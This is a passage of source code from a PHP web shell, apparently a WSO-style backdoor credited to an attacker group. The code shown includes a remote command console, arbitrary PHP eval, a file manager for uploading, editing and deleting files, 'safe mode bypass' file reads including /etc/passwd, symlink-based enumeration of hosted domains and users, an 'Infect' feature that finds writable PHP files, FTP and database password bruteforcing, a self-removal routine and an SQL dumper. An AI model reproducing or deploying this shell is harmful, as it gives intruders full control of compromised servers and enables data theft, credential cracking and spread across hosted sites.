663 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}else{g(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
664 if(!empty($_POST['p1'])) {
665 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
666 }
667 echo '</textarea><table style="border:1px solid #000;background-color:#000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
668 echo '</form></div><script>document.cf.cmd.focus();</script>';
669 printFooter();
670}
671// Console end --------------------
672// PHP -----------------------
673function actionPhp() {
674 if( isset($_POST['ajax']) ) {
675 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
676 ob_start();
677 eval($_POST['p1']);
678 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
679 echo strlen($temp), "\n", $temp;
680 exit;
681 }
682 printHeader();
683 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
684 echo '<h1>PHP info</h1><div class=content>';
685 ob_start();
686 phpinfo();
687 $tmp = ob_get_clean();
688 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
689 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
690 $tmp = preg_replace('!h1!msiU','h2',$tmp);
691 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
692 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
693 echo $tmp;
694 echo '</div><br>';
695 }
696 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
697 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
698 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
699 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
700 if(!empty($_POST['p1'])) {
701 ob_start();
702 eval($_POST['p1']);
703 echo htmlspecialchars(ob_get_clean());
704 }
705 echo '</pre></div>';
706 printFooter();
707}
708// PHP end --------------------
709// File manager go --------------------
710function actionFilesMan() {
711 printHeader();
712 echo '<h1>File manager</h1><div class=content>';
713 if(isset($_POST['p1'])) {
714 switch($_POST['p1']) {
715 case 'uploadFile':
716 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
717 echo "Can't upload file!";
718 break;
719 break;
720 case 'mkdir':
721 if(!@mkdir($_POST['p2']))
722 echo "Can't create new dir";
723 break;
724 case 'delete':
725 function deleteDir($path) {
726 $path = (substr($path,-1)=='/') ? $path:$path.'/';
727 $dh = opendir($path);
728 while ( ($item = readdir($dh) ) !== false) {
729 $item = $path.$item;
730 if ( (basename($item) == "..") || (basename($item) == ".") )
731 continue;
732 $type = filetype($item);
733 if ($type == "dir")
734 deleteDir($item);
735 else
736 @unlink($item);
737 }
738 closedir($dh);
739 rmdir($path);
740 }
741 if(is_array(@$_POST['f']))
742 foreach($_POST['f'] as $f) {
743 $f = urldecode($f);
744 if(is_dir($f))
745 deleteDir($f);
746 else
747 @unlink($f);
748 }
749 break;
750 case 'paste':
751 if($_SESSION['act'] == 'copy') {
752 function copy_paste($c,$s,$d){
753 if(is_dir($c.$s)){
754 mkdir($d.$s);
755 $h = opendir($c.$s);
756 while (($f = readdir($h)) !== false)
757 if (($f != ".") and ($f != "..")) {
758 copy_paste($c.$s.'/',$f, $d.$s.'/');
759 }
760 } elseif(is_file($c.$s)) {
761 @copy($c.$s, $d.$s);
762 }
763 }
764 foreach($_SESSION['f'] as $f)
765 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
766 } elseif($_SESSION['act'] == 'move') {
767 function move_paste($c,$s,$d){
768 if(is_dir($c.$s)){
769 mkdir($d.$s);
770 $h = opendir($c.$s);
771 while (($f = readdir($h)) !== false)
772 if (($f != ".") and ($f != "..")) {
773 copy_paste($c.$s.'/',$f, $d.$s.'/');
774 }
775 } elseif(is_file($c.$s)) {
776 @copy($c.$s, $d.$s);
777 }
778 }
779 foreach($_SESSION['f'] as $f)
780 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
781 }
782 unset($_SESSION['f']);
783 break;
784 default:
785 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
786 $_SESSION['act'] = @$_POST['p1'];
787 $_SESSION['f'] = @$_POST['f'];
788 foreach($_SESSION['f'] as $k => $f)
789 $_SESSION['f'][$k] = urldecode($f);
790 $_SESSION['cwd'] = @$_POST['c'];
791 }
792 break;
793 }
794 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
795 }
796 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
797 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
798 global $sort;
799 $sort = array('name', 1);
800 if(!empty($_POST['p1'])) {
801 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
802 $sort = array($match[1], (int)$match[2]);
803 }
804?>
805<script>
806 function sa() {
807 for(i=0;i<document.files.elements.length;i++)
808 if(document.files.elements[i].type == 'checkbox')
809 document.files.elements[i].checked = document.files.elements[0].checked;
810 }
811</script>
812<table width='100%' class='main' cellspacing='0' cellpadding='2'>
813<form name=files method=post>
814<?php
815 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
816 $dirs = $files = $links = array();
817 $n = count($dirContent);
818 for($i=0;$i<$n;$i++) {
819 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
820 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
821 $tmp = array('name' => $dirContent[$i],
822 'path' => $GLOBALS['cwd'].$dirContent[$i],
823 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
824 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
825 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
826 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
827 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
828 );
829 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
830 $files[] = array_merge($tmp, array('type' => 'file'));
831 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
832 $links[] = array_merge($tmp, array('type' => 'link'));
833 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
834 $dirs[] = array_merge($tmp, array('type' => 'dir'));
835 }
836 $GLOBALS['sort'] = $sort;
837 function cmp($a, $b) {
838 if($GLOBALS['sort'][0] != 'size')
839 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
840 else
841 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
842 }
843 usort($files, "cmp");
844 usort($dirs, "cmp");
845 usort($links, "cmp");
846 $files = array_merge($dirs, $links, $files);
847 $l = 0;
848 foreach($files as $f) {
849 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
850 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
851 $l = $l?0:1;
852 }
853 ?>
854 <tr><td colspan=7>
855 <input type=hidden name=a value='FilesMan'>
856 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
857 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
858 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
859 </form></table></div>
860 <?php
861 printFooter();
862}
863// File manager end --------------------
864// String tools go --------------------
865function actionStringTools() {
866 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
867 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
868 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
869 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
870 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
871 $stringTools = array(
872 'Base64 encode' => 'base64_encode',
873 'Base64 decode' => 'base64_decode',
874 'Url encode' => 'urlencode',
875 'Url decode' => 'urldecode',
876 'Full urlencode' => 'full_urlencode',
877 'md5 hash' => 'md5',
878 'sha1 hash' => 'sha1',
879 'crypt' => 'crypt',
880 'CRC32' => 'crc32',
881 'ASCII to HEX' => 'ascii2hex',
882 'HEX to ASCII' => 'hex2ascii',
883 'HEX to DEC' => 'hexdec',
884 'HEX to BIN' => 'hex2bin',
885 'DEC to HEX' => 'dechex',
886 'DEC to BIN' => 'decbin',
887 'BIN to HEX' => 'binhex',
888 'BIN to DEC' => 'bindec',
889 'String to lower case' => 'strtolower',
890 'String to upper case' => 'strtoupper',
891 'Htmlspecialchars' => 'htmlspecialchars',
892 'String length' => 'strlen',
893 );
894 if(isset($_POST['ajax'])) {
895 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
896 ob_start();
897 if(in_array($_POST['p1'], $stringTools))
898 echo $_POST['p1']($_POST['p2']);
899 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
900 echo strlen($temp), "\n", $temp;
901 exit;
902 }
903 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
904 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = 0;
905 printHeader();
906 echo '<h1>String conversions</h1><div class=content>';
907 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
908 foreach($stringTools as $k => $v)
909 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
910 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
911 if(!empty($_POST['p1'])) {
912 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
913 }
914 echo"</pre></div><br><h1>Search files:</h1><div class=content>
915 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
916 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
917 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
918 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
919 <tr><td></td><td><input type='submit' value='>>'></td></tr>
920 </table></form>";
921 function printRecursiveGlob($path) {
922 if(substr($path, -1) != '/')
923 $path.='/';
924 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
925 if(is_array($paths)&&@count($paths)) {
926 foreach($paths as $item) {
927 if(@is_dir($item)){
928 if($path!=$item)
929 printRecursiveGlob($item);
930 } else {
931 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
932 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
933 }
934 }
935 }
936 }
937 if(@$_POST['p3'])
938 printRecursiveGlob($_POST['c']);
939 echo "</div><br><h1>Search for hash:</h1><div class=content>
940 <form method='post' target='_blank' name='hf'>
941 <input type='text' name='hash' style='width:200px;'><br>
942 <input type='hidden' name='act' value='find'/>
943 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
944 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
945 <input type='button' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
946 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
947 <input type='button' value='tools4noobs.com' onclick=\"document.hf.action='http://www.tools4noobs.com/online_php_functions/';document.hf.submit()\"><br>
948 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
949 <input type='button' value='artlebedev.ru' onclick=\"document.hf.action='https://www.artlebedev.ru/tools/decoder/';document.hf.submit()\"><br>
950 </form></div>";
951 printFooter();
952}
953// String tools end --------------------
954// Safe mode go ------------------------
955function actionSafeMode() {
956 $temp='';
957 ob_start();
958 switch($_POST['p1']) {
959 case 1:
960 $temp=@tempnam($test, 'cx');
961 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
962 echo @file_get_contents($temp);
963 unlink($temp);
964 } else
965 echo 'Sorry... Can\'t open file';
966 break;
967 case 2:
968 $files = glob($_POST['p2'].'*');
969 if( is_array($files) )
970 foreach ($files as $filename)
971 echo $filename."\n";
972 break;
973 case 3:
974 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
975 curl_exec($ch);
976 break;
977 case 4:
978 ini_restore("safe_mode");
979 ini_restore("open_basedir");
980 include($_POST['p2']);
981 break;
982 case 5:
983 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
984 $uid = @posix_getpwuid($_POST['p2']);
985 if ($uid)
986 echo join(':',$uid)."\n";
987 }
988 break;
989 case 6:
990 if(!function_exists('imap_open'))break;
991 $stream = imap_open($_POST['p2'], "", "");
992 if ($stream == FALSE)
993 break;
994 echo imap_body($stream, 1);
995 imap_close($stream);
996 break;
997 }
998 $temp = ob_get_clean();
999 printHeader();
1000 echo '<h1>Safe mode bypass</h1><div class=content>';
1001 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1002 if($temp)
1003 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1004 echo '</div>';
1005 printFooter();
1006}
1007// Safe mode end ---------------------
1008// Logout go -------------------------
1009function actionLogout() {
1010 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1011 echo 'bye!';
1012}
1013// Logout end -------------------------
1014// Suicide go -------------------------
1015function actionSelfRemove() {
1016 printHeader();
1017 if($_POST['p1'] == 'yes') {
1018 if(@unlink(SELF_PATH))
1019 die('Shell has been removed');
1020 else
1021 echo 'unlink error!';
1022 }
1023 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1024 printFooter();
1025}
1026// Suicide end -------------------------
1027function actionTools() {
1028 printHeader();
1029
1030 printFooter();
1031}
1032// Domains go -------------------------
1033function actionDomains() {
1034 printHeader();
1035 error_reporting(0);
1036echo "<title>#Domains & Users</title>";
1037mkdir("sym");
1038symlink("/","0/x.txt");
1039$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
1040$f = fopen ('sym/.htaccess','w');
1041 fwrite($f , $c);
1042
1043$d0mains = @file("/etc/named.conf");
1044if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
1045echo "<table align=center border=1>
1046<tr bgcolor=teal><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
1047foreach($d0mains as $d0main){
1048if(eregi("zone",$d0main)){
1049preg_match_all('#zone "(.*)"#', $d0main, $domains);
1050flush();
1051if(strlen(trim($domains[1][0])) > 2){
1052$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1053echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/x.txt/home/".$user['name']."/public_html'>Miremos</a></td></tr>"; flush();
1054}}}
1055echo "</table>
1056<p align='center'>
1057FailRoot'Cod3rz <a href='http://failroot.wordpress.com/'>FailRoot-Sec.Com</a> | <a
1058href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
1059</p>
1060";
1061 printFooter();
1062}
1063// Domains end -----------------------
1064// Infect go -------------------------
1065function actionInfect() {
1066 printHeader();
1067 echo '<h1>Infect</h1><div class=content>';
1068 if($_POST['p1'] == 'infect') {
1069 $target=$_SERVER['DOCUMENT_ROOT'];
1070 function ListFiles($dir) {
1071 if($dh = opendir($dir)) {
1072 $files = Array();
1073 $inner_files = Array();
1074 while($file = readdir($dh)) {
1075 if($file != "." && $file != "..") {
1076 if(is_dir($dir . "/" . $file)) {
1077 $inner_files = ListFiles($dir . "/" . $file);
1078 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1079 } else {
1080 array_push($files, $dir . "/" . $file);
1081 }
1082 }
1083 }
1084 closedir($dh);
1085 return $files;
1086 }
1087 }
1088 foreach (ListFiles($target) as $key=>$file){
1089 $nFile = substr($file, -4, 4);
1090 if($nFile == ".php" ){
1091 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1092 echo "$file<br>";
1093 $i++;
1094 }
1095 }
1096 }
1097 echo "<font color=red size=14>$i</font>";
1098 }else{
1099 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1100 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1101 }
1102 printFooter();
1103}
1104// Infect end -----------------------
1105// Bruteforce go --------------------
1106function actionBruteforce() {
1107 printHeader();
1108 if( isset($_POST['proto']) ) {
1109 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1110 if( $_POST['proto'] == 'ftp' ) {
1111 function bruteForce($ip,$port,$login,$pass) {
1112 $fp = @ftp_connect($ip, $port?$port:21);
1113 if(!$fp) return false;
1114 $res = @ftp_login($fp, $login, $pass);
1115 @ftp_close($fp);
1116 return $res;
1117 }
1118 } elseif( $_POST['proto'] == 'mysql' ) {
1119 function bruteForce($ip,$port,$login,$pass) {
1120 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1121 @mysql_close($res);
1122 return $res;
1123 }
1124 } elseif( $_POST['proto'] == 'pgsql' ) {
1125 function bruteForce($ip,$port,$login,$pass) {
1126 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1127 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1128 @pg_close($res);
1129 return $res;
1130 }
1131 }
1132 $success = 0;
1133 $attempts = 0;
1134 $server = explode(":", $_POST['server']);
1135 if($_POST['type'] == 1) {
1136 $temp = @file('/etc/passwd');
1137 if( is_array($temp) )
1138 foreach($temp as $line) {
1139 $line = explode(":", $line);
1140 ++$attempts;
1141 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1142 $success++;
1143 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1144 }
1145 if(@$_POST['reverse']) {
1146 $tmp = "";
1147 for($i=strlen($line[0])-1; $i>=0; --$i)
1148 $tmp .= $line[0][$i];
1149 ++$attempts;
1150 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1151 $success++;
1152 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1153 }
1154 }
1155 }
1156 } elseif($_POST['type'] == 2) {
1157 $temp = @file($_POST['dict']);
1158 if( is_array($temp) )
1159 foreach($temp as $line) {
1160 $line = trim($line);
1161 ++$attempts;
1162 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1163 $success++;
1164 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1165 }
1166 }
1167 }
1168 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1169 }
1170 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1171 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1172 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1173 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1174 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1175 .'<span>Server:port</span></td>'
1176 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1177 .'<tr><td><span>Brute type</span></td>'
1178 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1179 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1180 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1181 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1182 .'<td><input type=text name=login value="root"></td></tr>'
1183 .'<tr><td><span>Dictionary</span></td>'
1184 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1185 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1186 echo '</div><br>';
1187 printFooter();
1188}
1189// Bruteforce end --------------------
1190// Sql go ----------------------------
1191function actionSql() {
1192 class DbClass {
1193 var $type;
1194 var $link;
1195 var $res;
1196 function DbClass($type) {
1197 $this->type = $type;
1198 }
1199 function connect($host, $user, $pass, $dbname){
1200 switch($this->type) {
1201 case 'mysql':
1202 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1203 break;
1204 case 'pgsql':
1205 $host = explode(':', $host);
1206 if(!$host[1]) $host[1]=5432;
1207 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1208 break;
1209 }
1210 return false;
1211 }
1212 function selectdb($db) {
1213 switch($this->type) {
1214 case 'mysql':
1215 if (@mysql_select_db($db))return true;
1216 break;
1217 }
1218 return false;
1219 }
1220 function query($str) {
1221 switch($this->type) {
1222 case 'mysql':
1223 return $this->res = @mysql_query($str);
1224 break;
1225 case 'pgsql':
1226 return $this->res = @pg_query($this->link,$str);
1227 break;
1228 }
1229 return false;
1230 }
1231 function fetch() {
1232 $res = func_num_args()?func_get_arg(0):$this->res;
1233 switch($this->type) {
1234 case 'mysql':
1235 return @mysql_fetch_assoc($res);
1236 break;
1237 case 'pgsql':
1238 return @pg_fetch_assoc($res);
1239 break;
1240 }
1241 return false;
1242 }
1243 function listDbs() {
1244 switch($this->type) {
1245 case 'mysql':
1246 return $this->res = @mysql_list_dbs($this->link);
1247 break;
1248 case 'pgsql':
1249 return $this->res = $this->query("SELECT datname FROM pg_database");
1250 break;
1251 }
1252 return false;
1253 }
1254 function listTables() {
1255 switch($this->type) {
1256 case 'mysql':
1257 return $this->res = $this->query('SHOW TABLES');
1258 break;
1259 case 'pgsql':
1260 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1261 break;
1262 }
1263 return false;
1264 }
1265 function error() {
1266 switch($this->type) {
1267 case 'mysql':
1268 return @mysql_error($this->link);
1269 break;
1270 case 'pgsql':
1271 return @pg_last_error($this->link);
1272 break;
1273 }
1274 return false;
1275 }
1276 function setCharset($str) {
1277 switch($this->type) {
1278 case 'mysql':
1279 if(function_exists('mysql_set_charset'))
1280 return @mysql_set_charset($str, $this->link);
1281 else
1282 $this->query('SET CHARSET '.$str);
1283 break;
1284 case 'mysql':
1285 return @pg_set_client_encoding($this->link, $str);
1286 break;
1287 }
1288 return false;
1289 }
1290 function dump($table) {
1291 switch($this->type) {
1292 case 'mysql':
1293 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1294 $create = mysql_fetch_array($res);
1295 echo $create[1].";\n\n";
1296 $this->query('SELECT * FROM `'.$table.'`');
1297 while($item = $this->fetch()) {
1298 $columns = array();
1299 foreach($item as $k=>$v) {
1300 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1301 $columns[] = "`".$k."`";
1302 }
1303 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1304 }
1305 break;
1306 case 'pgsql':
1307 $this->query('SELECT * FROM '.$table);
1308 while($item = $this->fetch()) {
1309 $columns = array();
1310 foreach($item as $k=>$v) {
1311 $item[$k] = "'".addslashes($v)."'";
1312 $columns[] = $k;
1313 }
1314 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1315 }
1316 break;
1317 }
1318 return false;
1319 }
1320 };
1321 $db = new DbClass($_POST['type']);
1322 if(@$_POST['p2']=='download') {
1323 ob_start("ob_gzhandler", 4096);
1324 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1325 $db->selectdb($_POST['sql_base']);
1326 header("Content-Disposition: attachment; filename=dump.sql");
1327 header("Content-Type: text/plain");
1328 foreach($_POST['tbl'] as $v)
1329 $db->dump($v);
1330 exit;
1331 }
1332 printHeader();
1333 ?>
1334 <h1>Sql browser</h1><div class=content>
1335 <form name="sf" method="post">
1336 <table cellpadding="2" cellspacing="0">
1337 <tr>
1338 <td>Type</td>
1339 <td>Host</td>
1340 <td>Login</td>
1341 <td>Password</td>
1342 <td>Database</td>
1343 <td></td>
1344 </tr>
1345 <tr>
1346 <input type=hidden name=a value=Sql>
1347 <input type=hidden name=p1 value='query'>
